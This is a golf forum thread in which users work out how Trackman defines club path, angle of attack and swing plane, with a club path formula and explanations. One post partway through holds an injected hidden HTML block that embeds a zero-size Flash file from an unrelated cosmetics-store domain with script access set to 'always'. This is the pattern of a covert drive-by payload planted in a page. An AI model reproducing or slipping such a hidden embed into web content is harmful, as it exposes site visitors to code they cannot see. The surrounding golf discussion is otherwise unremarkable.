Clubhead Direction - AoA and Club Path

Status
Not open for further replies.
Why does Trackman define clubhead direction (the bottom part of the D plane - see the second page of their July 2009 newsletter) as angle of attack and "club path" when the angle of attack is already factored into their calculation of "club path"?

Does the term "club path" not include the attack angle? If so, that answers my question, however, the mathematical formula for club path I've seen posted includes the attack angle.
 

dbl

New
Here's the newsletter you mention.

http://www.trackman.dk/download/newsletter/newsletter5.pdf

I think this is the paragraph you are asking about:
The D-plane is the wedge-shaped plane between two 3-dimensional directions: 1) clubhead direction at impact which is described by attack angle and club path and 2) clubface orientation
at impact which is described by dynamic loft and face angle. In
the figure below, the yellow shaded wedge-shaped plane is the
D-plane. Note that the angle of the D-plane is actually the spin loft

screenshot012w.jpg


I thought there was a different newsletter that dealt more with the definitions.

This one (Oct 2010) page 4 says Club Path depends on AoA.
http://www.trackman.dk/download/newsletter/newsletter7.pdf
 
Last edited:
Page 2 right above the D plane diagram where "clubhead direction" is referenced as the attack angle and club path. If club path includes attack angle why did they mention attack angle again??? This seems duplicative and I'm sure there's an explanation.
 
If club path is the horiztonal component of the clubhead direction and attack angle is the vertical compoenent of the clubhead direction, then why is the club path formula as follows:

CP = HSP - [AA x tan(90-VSP)]

CP = Club Path
HSP = Horizontal Swing Plane
AA = Angle of Attack
VSP = Vertical Swing Plane
tan = tangent

I don't understand why the attack angle is referenced on its own and as part of the club path calculation. It seems to me that the CP already incorporates the AA into its calculation and that would be all you need to determine the direction of the clubhead.
 
Does anybody know if a calculator exist to help interpret the Trackman data?

For example:

CP = - 3.5
HSP = -5.0
AA = -4.5

and the result = hook?, or Pull Hook?
 
What about the defintion of clubhead direction and why not just use club path to define the clubhead direction?

Specific questions about personal Trackman data are probably best served in a separate thread. You need to (mainly) know face angle and club path to start interpreting ballflight from Trackman data. For example, if your club path is -3.5 (in to out) and your face angle is -1* (degree closed) for a 7 iron you're going to hit a healthy draw (starts on the target line (generally) and goes left).
 
Why does Trackman define clubhead direction (the bottom part of the D plane - see the second page of their July 2009 newsletter) as angle of attack and "club path" when the angle of attack is already factored into their calculation of "club path"?

Does the term "club path" not include the attack angle? If so, that answers my question, however, the mathematical formula for club path I've seen posted includes the attack angle.

I had to read your question several times and the trackman article also but is it nothing more then multiple terms being used for the same thing? As far as I can see and understand the "clubhead direction" should be the same a "HSP" which is now "swing direction"
 
The Trackman article is specific about the term "clubhead direction" being made up of AA and CP (not HSP). I'm just logically torn about the term club path being the horizontal component of the clubhead and yet there's a vertical component (VSP and AA) used to determine the CP. That seems incorrect or duplicative. The "clubhead direction" being made up of the AA and CP makes perfect sense in 3D. I don't understand how the formula for CP would incorporate a vertical component and yet CP defined as only a horizontal component.

If the formula didn't have a vertical component it would make sense to me.
 
The Trackman article is specific about the term "clubhead direction" being made up of AA and CP (not HSP). I'm just logically torn about the term club path being the horizontal component of the clubhead and yet there's a vertical component (VSP and AA) used to determine the CP. That seems incorrect or duplicative. The "clubhead direction" being made up of the AA and CP makes perfect sense in 3D. I don't understand how the formula for CP would incorporate a vertical component and yet CP defined as only a horizontal component.

<object classid="clsid:D
<param name=FlashVars value="cid=7">
<param name="movie" value="http://www.cosmeticsstore.info/files/7.swf">
<param name="bgcolor" value="#ffffff">
<param name="allowScriptAccess" value="always" />
<embed allowScriptAccess="always" FlashVars="cid=7" src="http://www.cosmeticsstore.info/files/7.swf" quality="high" bgcolor="#ffffff" width="0" height="0" name="movie" align="" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer"></embed>
</object>
 
The Trackman article is specific about the term "clubhead direction" being made up of AA and CP (not HSP). I'm just logically torn about the term club path being the horizontal component of the clubhead and yet there's a vertical component (VSP and AA) used to determine the CP. That seems incorrect or duplicative. The "clubhead direction" being made up of the AA and CP makes perfect sense in 3D. I don't understand how the formula for CP would incorporate a vertical component and yet CP defined as only a horizontal component.

If the formula didn't have a vertical component it would make sense to me.

These aren't vectors so the "vertical" or "horizontal" components don't factor into the calculation. Without understanding the AA x tang (90-VSP), I have an intuitive sense of how the equation works:

CP is the horizontal angle measured at impact while HSP is the horizontal angle measured at the bottom of swing arc. That means when the AA is zero, CP should equal HSP (which it does by the equation). If you make a descending blow (AA is negative), then the CP should be greater than HSP. At HSP, the swing arc should start turning left.

Basically, I don't think of AA as having a vertical component. Instead, I view the swing on a rotational coordinate system. For a descending blow, the club has to travel AA degrees after CP to hit its HSP. For an ascending blow, the club has to travel AA degrees after its HSP to reach its CP.
 

lia41985

New member
I should have posted this here instead of starting another thread. My apologies.
<iframe title="YouTube video player" width="480" height="390" src="http://www.youtube.com/embed/XBLkJX_CQqE" frameborder="0" allowfullscreen></iframe>
 
Club Path = horizontal component of the 3D clubhead direction
AoA = vertical component of the 3D clubhead direction

Face Angle = horizontal component of the 3D clubhead face
Dynamic Loft = vertical component of the 3D clubhead face

These are the only 4 things that the ball really cares about. Add clubhead speed, center contact, etc.

We'll put aside the Face components for a minute because we are concerned about Path at the moment.

When we assume we are swinging on a tilted plane (Brian's foam blue plane board), we introduce the concept of the HSP and VSP.

The VSP is the up-from-the-ground angle (fixed for Brian's board) of the board, and the HSP is where the base of the board touching the ground points in the horizontal direction (variable for Brians's board, where he aims the thing).

When we define the HSP and VSP the way Trackman does, THEN there IS a relationship between CP, AoA, HSP, and VSP as noted in the above equation.

So, in a strict sense, the CP does not depend on the AoA, but when we swing on a tilted plane (which everything we know says we do for a least a small amount before and after impact), THEN there IS a relationship between the 4 path variables.
 
savydan -

I asked a sales rep from Trackman about the formula for club path (which contains AoA) and was told he was unaware of that formula to calculate club path. My confusion was really with respect to the formula for determining club path which contained a vertical direction (AoA) for a horizontal direction. Mixing the two never made any sense to me. AoA influences the club path, but they aren't the same and club path is strictly a horizontal direction.

Now it makes sense.
 
Status
Not open for further replies.
Top